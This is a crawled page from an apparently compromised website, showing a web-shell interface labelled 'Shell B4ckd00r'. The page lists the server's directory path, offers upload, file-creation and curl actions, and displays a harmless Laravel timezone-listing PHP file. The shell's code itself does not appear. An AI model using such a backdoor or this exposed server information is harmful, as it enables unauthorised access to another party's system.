Shell B4ckd00r
Current Dir :
/
home
/
u789730693
/
domains
/
piorasplash.com
/
public_html
/
app
/
Services
/
Home
Upload
Create Dir
Create File
Curl
Current File : /home/u789730693/domains/piorasplash.com/public_html/app/Services/TimezoneService.php
<?php namespace App\Services; use DateTimeZone; use Exception; use Illuminate\Support\Facades\Log; class TimezoneService { /** * @throws Exception */ public function list() { try { $timezones = DateTimeZone::listIdentifiers(DateTimeZone::ALL); $timezoneArray = []; $i = 1; foreach ($timezones as $timezone) { $timezoneArray[] = (object)[ 'id' => $i, 'name' => $timezone ]; $i++; } return collect($timezoneArray); } catch (Exception $exception) { Log::info($exception->getMessage()); throw new Exception($exception->getMessage(), 422); } } }
v.01